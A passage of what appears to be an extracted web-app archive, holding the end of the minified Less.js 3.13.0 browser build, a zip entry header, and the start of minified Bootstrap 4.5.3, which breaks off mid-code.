ne?(s=t[r].value[0],o=t[r].value[1]):(s=t[r],o=void 0),s instanceof f&&((0===r||r+1===t.length)&&void 0===o||o instanceof X)||d(),a=o?o.toCSS(c):0===r?"0%":"100%",l=s.alpha,n+='<stop offset="'+a+'" stop-color="'+s.toRGB()+'"'+(l<1?' stop-opacity="'+l+'"':"")+"/>";return n+="</"+u+"Gradient><rect "+h+' fill="url(#g)" /></svg>',n=encodeURIComponent(n),new he(new ue("'"+(n="data:image/svg+xml,"+n)+"'",n,!1,this.index,this.currentFileInfo),this.index,this.currentFileInfo)}}),J.addMultiple(ft),t},dt=function(e,t){var i;void 0===t&&(t={});var n=t.variables,r=new q.Eval(t);"object"!=typeof n||Array.isArray(n)||(n=Object.keys(n).map((function(e){var t=n[e];return t instanceof Ce.Value||(t instanceof Ce.Expression||(t=new Ce.Expression([t])),t=new Ce.Value([t])),new Ce.Declaration("@"+e,t,!1,null,0)})),r.frames=[new Ce.Ruleset(null,n)]);var s,o,a=[new qe.JoinSelectorVisitor,new qe.MarkVisibleSelectorsVisitor(!0),new qe.ExtendVisitor,new qe.ToCSSVisitor({compress:Boolean(t.compress)})],l=[];if(t.pluginManager){o=t.pluginManager.visitor();for(var u=0;u<2;u++)for(o.first();s=o.get();)s.isPreEvalVisitor?0!==u&&-1!==l.indexOf(s)||(l.push(s),s.run(e)):0!==u&&-1!==a.indexOf(s)||(s.isPreVisitor?a.unshift(s):a.push(s))}i=e.eval(r);for(u=0;u<a.length;u++)a[u].run(i);if(t.pluginManager)for(o.first();s=o.get();)-1===a.indexOf(s)&&-1===l.indexOf(s)&&s.run(i);return i};var vt,mt=function(){function e(e){this.less=e,this.visitors=[],this.preProcessors=[],this.postProcessors=[],this.installedPlugins=[],this.fileManagers=[],this.iterator=-1,this.pluginCache={},this.Loader=new e.PluginLoader(e)}return e.prototype.addPlugins=function(e){if(e)for(var t=0;t<e.length;t++)this.addPlugin(e[t])},e.prototype.addPlugin=function(e,t,i){this.installedPlugins.push(e),t&&(this.pluginCache[t]=e),e.install&&e.install(this.less,this,i||this.less.functions.functionRegistry)},e.prototype.get=function(e){return this.pluginCache[e]},e.prototype.addVisitor=function(e){this.visitors.push(e)},e.prototype.addPreProcessor=function(e,t){var i;for(i=0;i<this.preProcessors.length&&!(this.preProcessors[i].priority>=t);i++);this.preProcessors.splice(i,0,{preProcessor:e,priority:t})},e.prototype.addPostProcessor=function(e,t){var i;for(i=0;i<this.postProcessors.length&&!(this.postProcessors[i].priority>=t);i++);this.postProcessors.splice(i,0,{postProcessor:e,priority:t})},e.prototype.addFileManager=function(e){this.fileManagers.push(e)},e.prototype.getPreProcessors=function(){for(var e=[],t=0;t<this.preProcessors.length;t++)e.push(this.preProcessors[t].preProcessor);return e},e.prototype.getPostProcessors=function(){for(var e=[],t=0;t<this.postProcessors.length;t++)e.push(this.postProcessors[t].postProcessor);return e},e.prototype.getVisitors=function(){return this.visitors},e.prototype.visitor=function(){var e=this;return{first:function(){return e.iterator=-1,e.visitors[e.iterator]},get:function(){return e.iterator+=1,e.visitors[e.iterator]}}},e.prototype.getFileManagers=function(){return this.fileManagers},e}();function gt(e,t){return!t&&vt||(vt=new mt(e)),vt}var yt,bt,wt=function(e,t){var i,n=function(e){return function(){function t(t){this._css=[],this._rootNode=t.rootNode,this._contentsMap=t.contentsMap,this._contentsIgnoredCharsMap=t.contentsIgnoredCharsMap,t.sourceMapFilename&&(this._sourceMapFilename=t.sourceMapFilename.replace(/\\/g,"/")),this._outputFilename=t.outputFilename,this.sourceMapURL=t.sourceMapURL,t.sourceMapBasepath&&(this._sourceMapBasepath=t.sourceMapBasepath.replace(/\\/g,"/")),t.sourceMapRootpath?(this._sourceMapRootpath=t.sourceMapRootpath.replace(/\\/g,"/"),"/"!==this._sourceMapRootpath.charAt(this._sourceMapRootpath.length-1)&&(this._sourceMapRootpath+="/")):this._sourceMapRootpath="",this._outputSourceFiles=t.outputSourceFiles,this._sourceMapGeneratorConstructor=e.getSourceMapGenerator(),this._lineNumber=0,this._column=0}return t.prototype.removeBasepath=function(e){return this._sourceMapBasepath&&0===e.indexOf(this._sourceMapBasepath)&&("\\"!==(e=e.substring(this._sourceMapBasepath.length)).charAt(0)&&"/"!==e.charAt(0)||(e=e.substring(1))),e},t.prototype.normalizeFilename=function(e){return e=e.replace(/\\/g,"/"),e=this.removeBasepath(e),(this._sourceMapRootpath||"")+e},t.prototype.add=function(e,t,i,n){if(e){var r,s,o,a,l;if(t&&t.filename){var u=this._contentsMap[t.filename];if(this._contentsIgnoredCharsMap[t.filename]&&((i-=this._contentsIgnoredCharsMap[t.filename])<0&&(i=0),u=u.slice(this._contentsIgnoredCharsMap[t.filename])),void 0===u)return;a=(s=(u=u.substring(0,i)).split("\n"))[s.length-1]}if(o=(r=e.split("\n"))[r.length-1],t&&t.filename)if(n)for(l=0;l<r.length;l++)this._sourceMapGenerator.addMapping({generated:{line:this._lineNumber+l+1,column:0===l?this._column:0},original:{line:s.length+l,column:0===l?a.length:0},source:this.normalizeFilename(t.filename)});else this._sourceMapGenerator.addMapping({generated:{line:this._lineNumber+1,column:this._column},original:{line:s.length,column:a.length},source:this.normalizeFilename(t.filename)});1===r.length?this._column+=o.length:(this._lineNumber+=r.length-1,this._column=o.length),this._css.push(e)}},t.prototype.isEmpty=function(){return 0===this._css.length},t.prototype.toCSS=function(e){if(this._sourceMapGenerator=new this._sourceMapGeneratorConstructor({file:this._outputFilename,sourceRoot:null}),this._outputSourceFiles)for(var t in this._contentsMap)if(this._contentsMap.hasOwnProperty(t)){var i=this._contentsMap[t];this._contentsIgnoredCharsMap[t]&&(i=i.slice(this._contentsIgnoredCharsMap[t])),this._sourceMapGenerator.setSourceContent(this.normalizeFilename(t),i)}if(this._rootNode.genCSS(e,this),this._css.length>0){var n=void 0,r=JSON.stringify(this._sourceMapGenerator.toJSON());this.sourceMapURL?n=this.sourceMapURL:this._sourceMapFilename&&(n=this._sourceMapFilename),this.sourceMapURL=n,this.sourceMap=r}return this._css.join("")},t}()}(e=new _e(e,t)),r=function(e,t){return function(){function i(e){this.options=e}return i.prototype.toCSS=function(t,i,n){var r=new e({contentsIgnoredCharsMap:n.contentsIgnoredChars,rootNode:t,contentsMap:n.contents,sourceMapFilename:this.options.sourceMapFilename,sourceMapURL:this.options.sourceMapURL,outputFilename:this.options.sourceMapOutputFilename,sourceMapBasepath:this.options.sourceMapBasepath,sourceMapRootpath:this.options.sourceMapRootpath,outputSourceFiles:this.options.outputSourceFiles,sourceMapGenerator:this.options.sourceMapGenerator,sourceMapFileInline:this.options.sourceMapFileInline,disableSourcemapAnnotation:this.options.disableSourcemapAnnotation}),s=r.toCSS(i);return this.sourceMap=r.sourceMap,this.sourceMapURL=r.sourceMapURL,this.options.sourceMapInputFilename&&(this.sourceMapInputFilename=r.normalizeFilename(this.options.sourceMapInputFilename)),void 0!==this.options.sourceMapBasepath&&void 0!==this.sourceMapURL&&(this.sourceMapURL=r.removeBasepath(this.sourceMapURL)),s+this.getCSSAppendage()},i.prototype.getCSSAppendage=function(){var e=this.sourceMapURL;if(this.options.sourceMapFileInline){if(void 0===this.sourceMap)return"";e="data:application/json;base64,"+t.encodeBase64(this.sourceMap)}return this.options.disableSourcemapAnnotation?"":e?"/*# sourceMappingURL="+e+" */":""},i.prototype.getExternalSourceMap=function(){return this.sourceMap},i.prototype.setExternalSourceMap=function(e){this.sourceMap=e},i.prototype.isInline=function(){return this.options.sourceMapFileInline},i.prototype.getSourceMapURL=function(){return this.sourceMapURL},i.prototype.getOutputFilename=function(){return this.options.sourceMapOutputFilename},i.prototype.getInputFilename=function(){return this.sourceMapInputFilename},i}()}(n,e),s=function(e){return function(){function t(e,t){this.root=e,this.imports=t}return t.prototype.toCSS=function(t){var i,n,r={};try{i=dt(this.root,t)}catch(e){throw new R(e,this.imports)}try{var s=Boolean(t.compress);s&&ke.warn("The compress option has been deprecated. We recommend you use a dedicated css minifier, for instance see less-plugin-clean-css.");var o={compress:s,dumpLineNumbers:t.dumpLineNumbers,strictUnits:Boolean(t.strictUnits),numPrecision:8};t.sourceMap?(n=new e(t.sourceMap),r.css=n.toCSS(i,o,this.imports)):r.css=i.toCSS(o)}catch(e){throw new R(e,this.imports)}if(t.pluginManager)for(var a=t.pluginManager.getPostProcessors(),l=0;l<a.length;l++)r.css=a[l].process(r.css,{sourceMap:n,options:t,imports:this.imports});for(var u in t.sourceMap&&(r.map=n.getExternalSourceMap()),r.imports=[],this.imports.files)this.imports.files.hasOwnProperty(u)&&u!==this.imports.rootFilename&&r.imports.push(u);return r},t}()}(r),o=function(e){return function(){function t(e,t,i){this.less=e,this.rootFilename=i.filename,this.paths=t.paths||[],this.contents={},this.contentsIgnoredChars={},this.mime=t.mime,this.error=null,this.context=t,this.queue=[],this.files={}}return t.prototype.push=function(t,i,n,r,s){var o=this,a=this.context.pluginManager.Loader;this.queue.push(t);var l=function(e,i,n){o.queue.splice(o.queue.indexOf(t),1);var a=n===o.rootFilename;r.optional&&e?(s(null,{rules:[]},!1,null),ke.info("The file "+n+" was skipped because it was not found and the import was marked optional.")):(o.files[n]||r.inline||(o.files[n]={root:i,options:r}),e&&!o.error&&(o.error=e),s(e,i,a,n))},u={rewriteUrls:this.context.rewriteUrls,entryPath:n.entryPath,rootpath:n.rootpath,rootFilename:n.rootFilename},h=e.getFileManager(t,n.currentDirectory,this.context,e);if(h){var c,f,p=function(e){var t,i=e.filename,s=e.contents.replace(/^\uFEFF/,"");u.currentDirectory=h.getPath(i),u.rewriteUrls&&(u.rootpath=h.join(o.context.rootpath||"",h.pathDiff(u.currentDirectory,u.entryPath)),!h.isPathAbsolute(u.rootpath)&&h.alwaysMakePathsAbsolute()&&(u.rootpath=h.join(u.entryPath,u.rootpath))),u.filename=i;var c=new q.Parse(o.context);c.processImports=!1,o.contents[i]=s,(n.reference||r.reference)&&(u.reference=!0),r.isPlugin?(t=a.evalPlugin(s,c,o,r.pluginArgs,u))instanceof R?l(t,null,i):l(null,t,i):r.inline?l(null,s,i):!o.files[i]||o.files[i].options.multiple||r.multiple?new Te(c,o,u).parse(s,(function(e,t){l(e,t,i)})):l(null,o.files[i].root,i)},d=k(this.context);i&&(d.ext=r.isPlugin?".js":".less"),r.isPlugin?(d.mime="application/javascript",d.syncImport?c=a.loadPluginSync(t,n.currentDirectory,d,e,h):f=a.loadPlugin(t,n.currentDirectory,d,e,h)):d.syncImport?c=h.loadFileSync(t,n.currentDirectory,d,e):f=h.loadFile(t,n.currentDirectory,d,e,(function(e,t){e?l(e):p(t)})),c?c.filename?p(c):l(c):f&&f.then(p,l)}else l({message:"Could not find a file-manager for "+t})},t}()}(e),l=function(e,t,i){var n=function(e,i,r){if("function"==typeof i?(r=i,i=A(this.options,{})):i=A(this.options,i||{}),!r){var s=this;return new Promise((function(t,r){n.call(s,e,i,(function(e,i){e?r(e):t(i)}))}))}this.parse(e,i,(function(e,i,n,s){if(e)return r(e);var o;try{o=new t(i,n).toCSS(s)}catch(e){return r(e)}r(null,o)}))};return n}(0,s),u=function(e,t,i){var n=function(e,t,r){if("function"==typeof t?(r=t,t=A(this.options,{})):t=A(this.options,t||{}),!r){var s=this;return new Promise((function(i,r){n.call(s,e,t,(function(e,t){e?r(e):i(t)}))}))}var o,a=void 0,l=new gt(this,!t.reUsePluginManager);if(t.pluginManager=l,o=new q.Parse(t),t.rootFileInfo)a=t.rootFileInfo;else{var u=t.filename||"input",h=u.replace(/[^\/\\]*$/,"");(a={filename:u,rewriteUrls:o.rewriteUrls,rootpath:o.rootpath||"",currentDirectory:h,entryPath:h,rootFilename:u}).rootpath&&"/"!==a.rootpath.slice(-1)&&(a.rootpath+="/")}var c=new i(this,o,a);this.importManager=c,t.plugins&&t.plugins.forEach((function(e){var t,i;if(e.fileContent){if(i=e.fileContent.replace(/^\uFEFF/,""),(t=l.Loader.evalPlugin(i,o,c,e.options,e.filename))instanceof R)return r(t)}else l.addPlugin(e)})),new Te(o,c,a).parse(e,(function(e,i){if(e)return r(e);r(null,i,c,t)}),t)};return n}(0,0,o),c=pt(e),f={version:[3,13,0],data:h,tree:Ce,Environment:_e,AbstractFileManager:Ae,AbstractPluginLoader:Me,environment:e,visitors:qe,Parser:Te,functions:c,contexts:q,SourceMapOutput:n,SourceMapBuilder:r,ParseTree:s,ImportManager:o,render:l,parse:u,LessError:R,transformTree:dt,utils:P,PluginManager:gt,logger:ke},p=function(e){return function(){for(var t=[],i=0;i<arguments.length;i++)t[i]=arguments[i];return new(e.bind.apply(e,a([void 0],t)))}},d=Object.create(f);for(var v in f.tree)if("function"==typeof(i=f.tree[v]))d[v.toLowerCase()]=p(i);else for(var m in d[v]=Object.create(null),i)d[v][m.toLowerCase()]=p(i[m]);return f.parse=f.parse.bind(d),f.render=f.render.bind(d),d},xt={},St=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return s(t,e),t.prototype.alwaysMakePathsAbsolute=function(){return!0},t.prototype.join=function(e,t){return e?this.extractUrlParts(t,e).path:t},t.prototype.doXHR=function(e,t,i,n){var r=new XMLHttpRequest,s=!yt.isFileProtocol||yt.fileAsync;function o(t,i,n){t.status>=200&&t.status<300?i(t.responseText,t.getResponseHeader("Last-Modified")):"function"==typeof n&&n(t.status,e)}"function"==typeof r.overrideMimeType&&r.overrideMimeType("text/css"),bt.debug("XHR: Getting '"+e+"'"),r.open("GET",e,s),r.setRequestHeader("Accept",t||"text/x-less, text/css; q=0.9, */*; q=0.5"),r.send(null),yt.isFileProtocol&&!yt.fileAsync?0===r.status||r.status>=200&&r.status<300?i(r.responseText):n(r.status,e):s?r.onreadystatechange=function(){4==r.readyState&&o(r,i,n)}:o(r,i,n)},t.prototype.supports=function(){return!0},t.prototype.clearFileCache=function(){xt={}},t.prototype.loadFile=function(e,t,i,n){t&&!this.isPathAbsolute(e)&&(e=t+e),e=i.ext?this.tryAppendExtension(e,i.ext):e,i=i||{};var r=this.extractUrlParts(e,window.location.href).url,s=this;return new Promise((function(e,t){if(i.useFileCache&&xt[r])try{var n=xt[r];return e({contents:n,filename:r,webInfo:{lastModified:new Date}})}catch(e){return t({filename:r,message:"Error loading file "+r+" error was "+e.message})}s.doXHR(r,i.mime,(function(t,i){xt[r]=t,e({contents:t,filename:r,webInfo:{lastModified:i}})}),(function(e,i){t({type:"File",message:"'"+i+"' wasn't found ("+e+")",href:r})}))}))},t}(Ae),It=function(e,t){return yt=e,bt=t,St},Ct=function(e){function t(t){var i=e.call(this)||this;return i.less=t,i}return s(t,e),t.prototype.loadPlugin=function(e,t,i,n,r){return new Promise((function(s,o){r.loadFile(e,t,i,n).then(s).catch(o)}))},t}(Me),kt=function(t,n,r){return{add:function(s,o){r.errorReporting&&"html"!==r.errorReporting?"console"===r.errorReporting?function(e,t){var i=e.filename||t,s=[],o=(e.type||"Syntax")+"Error: "+(e.message||"There is an error in your .less file")+" in "+i,a=function(e,t,i){void 0!==e.extract[t]&&s.push("{line} {content}".replace(/\{line\}/,(parseInt(e.line,10)||0)+(t-1)).replace(/\{class\}/,i).replace(/\{content\}/,e.extract[t]))};e.line&&(a(e,0,""),a(e,1,"line"),a(e,2,""),o+=" on line "+e.line+", column "+(e.column+1)+":\n"+s.join("\n")),e.stack&&(e.extract||r.logLevel>=4)&&(o+="\nStack Trace\n"+e.stack),n.logger.error(o)}(s,o):"function"==typeof r.errorReporting&&r.errorReporting("add",s,o):function(n,s){var o,a,l="less-error-message:"+e(s||""),u=t.document.createElement("div"),h=[],c=n.filename||s,f=c.match(/([^\/]+(\?.*)?)$/)[1];u.id=l,u.className="less-error-message",a="<h3>"+(n.type||"Syntax")+"Error: "+(n.message||"There is an error in your .less file")+'</h3><p>in <a href="'+c+'">'+f+"</a> ";var p=function(e,t,i){void 0!==e.extract[t]&&h.push('<li><label>{line}</label><pre class="{class}">{content}</pre></li>'.replace(/\{line\}/,(parseInt(e.line,10)||0)+(t-1)).replace(/\{class\}/,i).replace(/\{content\}/,e.extract[t]))};n.line&&(p(n,0,""),p(n,1,"line"),p(n,2,""),a+="on line "+n.line+", column "+(n.column+1)+":</p><ul>"+h.join("")+"</ul>"),n.stack&&(n.extract||r.logLevel>=4)&&(a+="<br/>Stack Trace</br />"+n.stack.split("\n").slice(1).join("<br/>")),u.innerHTML=a,i(t.document,[".less-error-message ul, .less-error-message li {","list-style-type: none;","margin-right: 15px;","padding: 4px 0;","margin: 0;","}",".less-error-message label {","font-size: 12px;","margin-right: 15px;","padding: 4px 0;","color: #cc7777;","}",".less-error-message pre {","color: #dd6666;","padding: 4px 0;","margin: 0;","display: inline-block;","}",".less-error-message pre.line {","color: #ff0000;","}",".less-error-message h3 {","font-size: 20px;","font-weight: bold;","padding: 15px 0 5px 0;","margin: 0;","}",".less-error-message a {","color: #10a","}",".less-error-message .error {","color: red;","font-weight: bold;","padding-bottom: 2px;","border-bottom: 1px dashed red;","}"].join("\n"),{title:"error-message"}),u.style.cssText=["font-family: Arial, sans-serif","border: 1px solid #e00","background-color: #eee","border-radius: 5px","-webkit-border-radius: 5px","-moz-border-radius: 5px","color: #e00","padding: 15px","margin-bottom: 15px"].join(";"),"development"===r.env&&(o=setInterval((function(){var e=t.document,i=e.body;i&&(e.getElementById(l)?i.replaceChild(u,e.getElementById(l)):i.insertBefore(u,i.firstChild),clearInterval(o))}),10))}(s,o)},remove:function(i){r.errorReporting&&"html"!==r.errorReporting?"console"===r.errorReporting||"function"==typeof r.errorReporting&&r.errorReporting("remove",i):function(i){var n=t.document.getElementById("less-error-message:"+e(i));n&&n.parentNode.removeChild(n)}(i)}}},_t={javascriptEnabled:!1,depends:!1,compress:!1,lint:!1,paths:[],color:!0,strictImports:!1,insecure:!1,rootpath:"",rewriteUrls:!1,math:0,strictUnits:!1,globalVars:null,modifyVars:null,urlArgs:""};if(window.less)for(var At in window.less)window.less.hasOwnProperty(At)&&(_t[At]=window.less[At]);!function(e,i){t(i,n(e)),void 0===i.isFileProtocol&&(i.isFileProtocol=/^(file|(chrome|safari)(-extension)?|resource|qrc|app):/.test(e.location.protocol)),i.async=i.async||!1,i.fileAsync=i.fileAsync||!1,i.poll=i.poll||(i.isFileProtocol?1e3:1500),i.env=i.env||("127.0.0.1"==e.location.hostname||"0.0.0.0"==e.location.hostname||"localhost"==e.location.hostname||e.location.port&&e.location.port.length>0||i.isFileProtocol?"development":"production");var r=/!dumpLineNumbers:(comments|mediaquery|all)/.exec(e.location.hash);r&&(i.dumpLineNumbers=r[1]),void 0===i.useFileCache&&(i.useFileCache=!0),void 0===i.onReady&&(i.onReady=!0),i.relativeUrls&&(i.rewriteUrls="all")}(window,_t),_t.plugins=_t.plugins||[],window.LESS_PLUGINS&&(_t.plugins=_t.plugins.concat(window.LESS_PLUGINS));var Mt,Pt,Et,Rt=function(e,n){var r=e.document,s=wt();s.options=n;var o=s.environment,a=It(n,s.logger),l=new a;o.addFileManager(l),s.FileManager=a,s.PluginLoader=Ct,function(e,t){t.logLevel=void 0!==t.logLevel?t.logLevel:"development"===t.env?3:1,t.loggers||(t.loggers=[{debug:function(e){t.logLevel>=4&&console.log(e)},info:function(e){t.logLevel>=3&&console.log(e)},warn:function(e){t.logLevel>=2&&console.warn(e)},error:function(e){t.logLevel>=1&&console.error(e)}}]);for(var i=0;i<t.loggers.length;i++)e.logger.addListener(t.loggers[i])}(s,n);var u=kt(e,s,n),h=s.cache=n.cache||function(e,t,i){var n=null;if("development"!==t.env)try{n=void 0===e.localStorage?null:e.localStorage}catch(e){}return{setCSS:function(e,t,r,s){if(n){i.info("saving "+e+" to cache.");try{n.setItem(e,s),n.setItem(e+":timestamp",t),r&&n.setItem(e+":vars",JSON.stringify(r))}catch(t){i.error('failed to save "'+e+'" to local storage for caching.')}}},getCSS:function(e,t,i){var r=n&&n.getItem(e),s=n&&n.getItem(e+":timestamp"),o=n&&n.getItem(e+":vars");if(i=i||{},o=o||"{}",s&&t.lastModified&&new Date(t.lastModified).valueOf()===new Date(s).valueOf()&&JSON.stringify(i)===o)return r}}}(e,n,s.logger);!function(){function e(){throw{type:"Runtime",message:"Image size functions are not supported in browser version of less"}}var t={"image-size":function(t){return e(),-1},"image-width":function(t){return e(),-1},"image-height":function(t){return e(),-1}};J.addMultiple(t)}(s.environment),n.functions&&s.functions.functionRegistry.addMultiple(n.functions);var c=/^text\/(x-)?less$/;function f(e){var t={};for(var i in e)e.hasOwnProperty(i)&&(t[i]=e[i]);return t}function p(e,t){var i=Array.prototype.slice.call(arguments,2);return function(){var n=i.concat(Array.prototype.slice.call(arguments,0));return e.apply(t,n)}}function d(e){for(var t,i=r.getElementsByTagName("style"),o=0;o<i.length;o++)if((t=i[o]).type.match(c)){var a=f(n);a.modifyVars=e;var l=t.innerHTML||"";a.filename=r.location.href.replace(/#.*$/,""),s.render(l,a,p((function(e,t,i){t?u.add(t,"inline"):(e.type="text/css",e.styleSheet?e.styleSheet.cssText=i.css:e.innerHTML=i.css)}),null,t))}}function v(e,i,r,a,c){var p=f(n);t(p,e),p.mime=e.type,c&&(p.modifyVars=c),l.loadFile(e.href,null,p,o).then((function(t){!function(t){var n=t.contents,o=t.filename,c=t.webInfo,f={currentDirectory:l.getPath(o),filename:o,rootFilename:o,rewriteUrls:p.rewriteUrls};if(f.entryPath=f.currentDirectory,f.rootpath=p.rootpath||f.currentDirectory,c){c.remaining=a;var d=h.getCSS(o,c,p.modifyVars);if(!r&&d)return c.local=!0,void i(null,d,n,e,c,o)}u.remove(o),p.rootFileInfo=f,s.render(n,p,(function(t,r){t?(t.href=o,i(t)):(h.setCSS(e.href,c.lastModified,p.modifyVars,r.css),i(null,r.css,n,e,c,o))}))}(t)})).catch((function(e){console.log(e),i(e)}))}function m(e,t,i){for(var n=0;n<s.sheets.length;n++)v(s.sheets[n],e,t,s.sheets.length-(n+1),i)}return s.watch=function(){return s.watchMode||(s.env="development","development"===s.env&&(s.watchTimer=setInterval((function(){s.watchMode&&(l.clearFileCache(),m((function(t,n,r,s,o){t?u.add(t,t.href||s.href):n&&i(e.document,n,s)})))}),n.poll))),this.watchMode=!0,!0},s.unwatch=function(){return clearInterval(s.watchTimer),this.watchMode=!1,!1},s.registerStylesheetsImmediately=function(){var e=r.getElementsByTagName("link");s.sheets=[];for(var t=0;t<e.length;t++)("stylesheet/less"===e[t].rel||e[t].rel.match(/stylesheet/)&&e[t].type.match(c))&&s.sheets.push(e[t])},s.registerStylesheets=function(){return new Promise((function(e,t){s.registerStylesheetsImmediately(),e()}))},s.modifyVars=function(e){return s.refresh(!0,e,!1)},s.refresh=function(t,n,r){return(t||r)&&!1!==r&&l.clearFileCache(),new Promise((function(r,o){var a,l,h,c;a=l=new Date,0===(c=s.sheets.length)?(l=new Date,h=l-a,s.logger.info("Less has finished and no sheets were loaded."),r({startTime:a,endTime:l,totalMilliseconds:h,sheets:s.sheets.length})):m((function(t,n,f,p,d){if(t)return u.add(t,t.href||p.href),void o(t);d.local?s.logger.info("Loading "+p.href+" from cache."):s.logger.info("Rendered "+p.href+" successfully."),i(e.document,n,p),s.logger.info("CSS for "+p.href+" generated in "+(new Date-l)+"ms"),0===--c&&(h=new Date-a,s.logger.info("Less has finished. CSS generated in "+h+"ms"),r({startTime:a,endTime:l,totalMilliseconds:h,sheets:s.sheets.length})),l=new Date}),t,n),d(n)}))},s.refreshStyles=d,s}(window,_t);function Vt(e){e.filename&&console.warn(e),_t.async||Pt.removeChild(Et)}return window.less=Rt,_t.onReady&&(/!watch/.test(window.location.hash)&&Rt.watch(),_t.async||(Mt="body { display: none !important }",Pt=document.head||document.getElementsByTagName("head")[0],(Et=document.createElement("style")).type="text/css",Et.styleSheet?Et.styleSheet.cssText=Mt:Et.appendChild(document.createTextNode(Mt)),Pt.appendChild(Et)),Rt.registerStylesheetsImmediately(),Rt.pageLoadFinished=Rt.refresh("development"===Rt.env).then(Vt,Vt)),Rt}));
//# sourceMappingURL=less.min.js.map
PKh�\�vzȈH�H*skins/elastic/deps/bootstrap.bundle.min.jsnu�[���/*!
  * Bootstrap v4.5.3 (https://getbootstrap.com/)
  * Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors)
  * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
  */
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery")):"function"==typeof define&&define.amd?define(["exports","jquery"],e):e((t="undefined"!=typeof globalThis?globalThis:t||self).bootstrap={},t.jQuery)}(this,(function(t,e){"use strict";function n(t){return t&&"object"==typeof t&&"default"in t?t:{default:t}}var i=n(e);function o(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function r(t,e,n){return e&&o(t.prototype,e),n&&o(t,n),t}function a(){return(a=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}function s(t){var e=this,n=!1;return i.default(this).one(l.TRANSITION_END,(function(){n=!0})),setTimeout((function(){n||l.triggerTransitionEnd(e)}),t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID:function(t){do{t+=~~(1e6*Math.random())}while(document.getElementById(t));return t},getSelectorFromElement:function(t){var e=t.getAttribute("data-target");if(!e||"#"===e){var n=t.getAttribute("href");e=n&&"#"!==n?n.trim():""}try{return document.querySelector(e)?e:null}catch(t){return null}},getTransitionDurationFromElement:function(t){if(!t)return 0;var e=i.default(t).css("transition-duration"),n=i.default(t).css("transition-delay"),o=parseFloat(e),r=parseFloat(n);return o||r?(e=e.split(",")[0],n=n.split(",")[0],1e3*(parseFloat(e)+parseFloat(n))):0},reflow:function(t){return t.offsetHeight},triggerTransitionEnd:function(t){i.default(t).trigger("transitionend")},supportsTransitionEnd:function(){return Boolean("transitionend")},isElement:function(t){return(t[0]||t).nodeType},typeCheckConfig:function(t,e,n){for(var i in n)if(Object.prototype.hasOwnProperty.call(n,i)){var o=n[i],r=e[i],a=r&&l.isElement(r)?"element":null===(s=r)||"undefined"==typeof s?""+s:{}.toString.call(s).match(/\s([a-z]+)/i)[1].toLowerCase();if(!new RegExp(o).test(a))throw new Error(t.toUpperCase()+': Option "'+i+'" provided type "'+a+'" but expected type "'+o+'".')}var s},findShadowRoot:function(t){if(!document.documentElement.attachShadow)return null;if("function"==typeof t.getRootNode){var e=t.getRootNode();return e instanceof ShadowRoot?e:null}return t instanceof ShadowRoot?t:t.parentNode?l.findShadowRoot(t.parentNode):null},jQueryDetection:function(){if("undefined"==typeof i.default)throw new TypeError("Bootstrap's JavaScript requires jQuery. jQuery must be included before Bootstrap's JavaScript.");var t=i.default.fn.jquery.split(" ")[0].split(".");if(t[0]<2&&t[1]<9||1===t[0]&&9===t[1]&&t[2]<1||t[0]>=4)throw new Error("Bootstrap's JavaScript requires at least jQuery v1.9.1 but less than v4.0.0")}};l.jQueryDetection(),i.default.fn.emulateTransitionEnd=s,i.default.event.special[l.TRANSITION_END]={bindType:"transitionend",delegateType:"transitionend",handle:function(t){if(i.default(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}};var u="alert",f=i.default.fn[u],d=function(){function t(t){this._element=t}var e=t.prototype;return e.close=function(t){var e=this._element;t&&(e=this._getRootElement(t)),this._triggerCloseEvent(e).isDefaultPrevented()||this._removeElement(e)},e.dispose=function(){i.default.removeData(this._element,"bs.alert"),this._element=null},e._getRootElement=function(t){var e=l.getSelectorFromElement(t),n=!1;return e&&(n=document.querySelector(e)),n||(n=i.default(t).closest(".alert")[0]),n},e._triggerCloseEvent=function(t){var e=i.default.Event("close.bs.alert");return i.default(t).trigger(e),e},e._removeElement=function(t){var e=this;if(i.default(t).removeClass("show"),i.default(t).hasClass("fade")){var n=l.getTransitionDurationFromElement(t);i.default(t).one(l.TRANSITION_END,(function(n){return e._destroyElement(t,n)})).emulateTransitionEnd(n)}else this._destroyElement(t)},e._destroyElement=function(t){i.default(t).detach().trigger("closed.bs.alert").remove()},t._jQueryInterface=function(e){return this.each((function(){var n=i.default(this),o=n.data("bs.alert");o||(o=new t(this),n.data("bs.alert",o)),"close"===e&&o[e](this)}))},t._handleDismiss=function(t){return function(e){e&&e.preventDefault(),t.close(this)}},r(t,null,[{key:"VERSION",get:function(){return"4.5.3"}}]),t}();i.default(document).on("click.bs.alert.data-api",'[data-dismiss="alert"]',d._handleDismiss(new d)),i.default.fn[u]=d._jQueryInterface,i.default.fn[u].Constructor=d,i.default.fn[u].noConflict=function(){return i.default.fn[u]=f,d._jQueryInterface};var c=i.default.fn.button,h=function(){function t(t){this._element=t,this.shouldAvoidTriggerChange=!1}var e=t.prototype;return e.toggle=function(){var t=!0,e=!0,n=i.default(this._element).closest('[data-toggle="buttons"]')[0];if(n){var o=this._element.querySelector('input:not([type="hidden"])');if(o){if("radio"===o.type)if(o.checked&&this._element.classList.contains("active"))t=!1;else{var r=n.querySelector(".active");r&&i.default(r).removeClass("active")}t&&("checkbox"!==o.type&&"radio"!==o.type||(o.checked=!this._element.classList.contains("active")),this.shouldAvoidTriggerChange||i.default(o).trigger("change")),o.focus(),e=!1}}this._element.hasAttribute("disabled")||this._element.classList.contains("disabled")||(e&&this._element.setAttribute("aria-pressed",!this._element.classList.contains("active")),t&&i.default(this._element).toggleClass("active"))},e.dispose=function(){i.default.removeData(this._element,"bs.button"),this._element=null},t._jQueryInterface=function(e,n){return this.each((function(){var o=i.default(this),r=o.data("bs.button");r||(r=new 